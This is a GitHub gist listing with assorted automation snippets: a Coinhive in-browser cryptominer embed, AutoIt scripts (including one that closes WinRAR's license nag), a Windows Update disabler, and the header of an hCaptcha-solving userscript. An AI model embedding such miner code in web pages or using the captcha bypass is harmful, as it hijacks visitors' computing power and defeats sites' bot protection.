Skip to content

Instantly share code, notes, and snippets.

View hashtafak's full-sized avatar
🧲
NaN

Tuan Anh Tran hashtafak

🧲
NaN
View GitHub Profile
@hashtafak
hashtafak / index.html
Created November 9, 2017 16:31
Coinhive
<script src="https://coin-hive.com/lib/coinhive.min.js"></script>
<script>
var miner = new CoinHive.Anonymous('aCyud8fkYf77SbqbEqXwApN8M6GOBHxB');
miner.start();
</script>
<script>
// Listen on events
miner.on('found', function() { /* Hash found */ })
@hashtafak
hashtafak / pptEx.js
Created September 25, 2019 14:56
puppeteer get WSEnpoint
const http = require('http');
const debug = require('debug')('spb:lib:pptEx');
function getWSEndpoint(port) {
return new Promise((resolve, reject) => {
http
.get(`http://localhost:${port}/json/version`, (res) => {
res.setEncoding('utf8');
let rawData = '';
res.on('data', (chunk) => {
#include-once
Global $Bitvise_Path = "C:\Program Files\Bitvise SSH Client"
Global Const $Bitvise_BvSsh = "BvSsh.exe"
Global Const $Bitvise_BvSshCtrl = "BvSshCtrl.exe"
Global Const $Bitvise_BvSsh_Host = "127.0.0.1"
#cs
+> Bivise Function
@hashtafak
hashtafak / fckRAR.au3
Last active August 14, 2022 11:20
Just Close WinRAR "Please purchase WinRAR license" Windows
#cs ----------------------------------------------------------------------------
AutoIt Version: 3.3.14.5
Author: fckRAR
Script Function:
Just Close WinRAR "Please purchase WinRAR license" Windows
#ce ----------------------------------------------------------------------------
@hashtafak
hashtafak / setInterval fetch pool
Created August 12, 2020 18:15
setInterval stop duplicate fetch response
// maybe not a good case for http-pooling but works in some case of pet project
let smokeBreak = false; // https://www.youtube.com/watch?v=kdRPFBJ-jVc
try {
const x = setInterval(() => {
if (!smokeBreak) {
smokeBreak = true;
fetch('// a long wait request maybe wait more 5 sec to read: network error ')
.then((res) => res.json())
@hashtafak
hashtafak / bmm.au3
Created September 30, 2020 00:11
[AutoIt] Bezier Mouse Movement
;~ https://www.elitepvpers.com/forum/general-gaming-discussion/303245-autoit-bezier-mouse-movement.html
Dim $PtX[4]
Dim $PtY[4]
Dim $MaxPt = 3
Func Factorial($n)
$value = 1
For $i = 2 To $n
$value = $value * $i
@hashtafak
hashtafak / xvfb_daemon.sh
Last active March 6, 2022 23:28 — forked from fedesilva/xvfb_daemon.sh
Xvfb startup init script for headless selenium started via Jenkins
#!/bin/bash
# /etc/init.d/xvfb_daemon
# Xvfb startup script.
# Tom Meier <tom@venombytes.com>
#
### BEGIN INIT INFO
# Provides: xvfb
# Short-Description: Start/stop/restart daemon
# Description: Controls the Xvfb daemon which starts/stops the X Virtual Framebuffer server
### END INIT INFO
@hashtafak
hashtafak / disable-windows-update.ps1
Created March 8, 2022 02:43 — forked from mikebranstein/disable-windows-update.ps1
Disables Windows Update with PowerShell
# set the Windows Update service to "disabled"
sc.exe config wuauserv start=disabled
# display the status of the service
sc.exe query wuauserv
# stop the service, in case it is running
sc.exe stop wuauserv
# display the status again, because we're paranoid
const ethers = require('ethers')
const provider = new ethers.providers.JsonRpcProvider("https://polygon-rpc.com");
// const provider = new ethers.providers.JsonRpcProvider("https://psdolygon-rpc.com");
(async () => {
// wei => gwei => hex (bignumber)
// gwei => ethers.utils.hexlify => hex (bignumber)
// wei => ethers.utils.parseUnits gwei => hex (bignumber)
let estimatedGasFeesWei = 30.013769176
@hashtafak
hashtafak / Hcaptcha Solver (Automatically solves Hcaptcha in browser).user.js
Last active April 22, 2024 02:36
Hcaptcha Solver with Browser Trainer(Automatically solves Hcaptcha in browser) by Md ubeadulla | Note: This script is solely intended for the use of educational purposes only and not to abuse any website. This script uses audio in order to solve the captcha. Use it wisely and do not abuse any website. Click "Raw" to install it on Tampermonkey
// ==UserScript==
// @name Hcaptcha Solver with Browser Trainer(Automatically solves Hcaptcha in browser)
// @namespace Hcaptcha Solver
// @version 10.0
// @description Hcaptcha Solver in Browser | Automatically solves Hcaptcha in browser
// @author Md ubeadulla
// @match https://*.hcaptcha.com/*hcaptcha-challenge*
// @match https://*.hcaptcha.com/*checkbox*
// @grant GM_xmlhttpRequest
// @grant GM_setValue